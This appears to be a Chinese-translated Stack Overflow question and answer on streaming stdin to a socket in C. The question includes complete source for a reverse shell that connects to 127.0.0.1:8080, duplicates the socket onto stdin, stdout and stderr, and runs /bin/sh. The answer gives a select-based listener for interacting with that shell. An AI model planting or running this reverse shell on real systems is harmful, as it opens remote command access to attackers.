在Python 3中,我可以利用telnetlib
的库来使用/导入interact
方法,该方法可以让我将stdin
流化为传递给socket
方法的interact
。另外,netcat
提供了类似的功能(当然,除了能够在Python 3中以编程方式传递socket
之外),例如:nc -nvlp 8080
。
我的问题是:
有没有办法以编程方式复制telnetlib
的interact
方法的行为/将stdin
流流传输到C中的给定socket
中?还是这个过程令人费解?如果过于简单,那么如何在C中复制interact
方法的逻辑呢?
例如,说我正在运行一个类似于SSH的简单客户端C反向Shell程序,该程序使用dup2
将stdin
,stdout
和stderr
流式传输到重复的套接字file descriptor
。如何在C中以编程方式与该客户端进行通信?
我正在尝试以编程方式与示例C客户端进行通信:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
for (int i=0; i<3; i++)
dup2(s, i);
execve("/bin/sh", 0, 0);
return 0;
}
总结一下:我基本上是想在C中以编程方式与提供的客户端进行通信。
最佳答案
I am basically trying to communicate with the provided client programmatically within C.
一个可以满足您需求的程序不必很大;这是一个简单的例子:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(PORT);
int s = socket(AF_INET, SOCK_STREAM, 0);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) perror("bind"), exit(1);
listen(s, 0);
int t = accept(s, NULL, NULL);
if (t < 0) perror("accept"), exit(1);
fd_set fds, fdr;
FD_ZERO(&fds);
FD_SET(0, &fds); // add STDIN to the fd set
FD_SET(t, &fds); // add connection to the fd set
while (fdr = fds, select(t+1, &fdr, NULL, NULL, NULL) > 0)
{ char buf[BUFSIZ];
if (FD_ISSET(0, &fdr))
{ // this is the user's input
size_t count = read(0, buf, sizeof buf);
if (count > 0) write(t, buf, count);
else break; // no more input from user
}
if (FD_ISSET(t, &fdr))
{ // this is the client's output or termination
size_t count = read(t, buf, sizeof buf);
if (count > 0) write(1, buf, count);
else break; // no more data from client
}
}
}
关键部分是select
循环,该循环检查STDIN或套接字连接是否可读,并将读取的数据复制到另一侧。
关于c - 将stdin流式传输到套接字,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/66211900/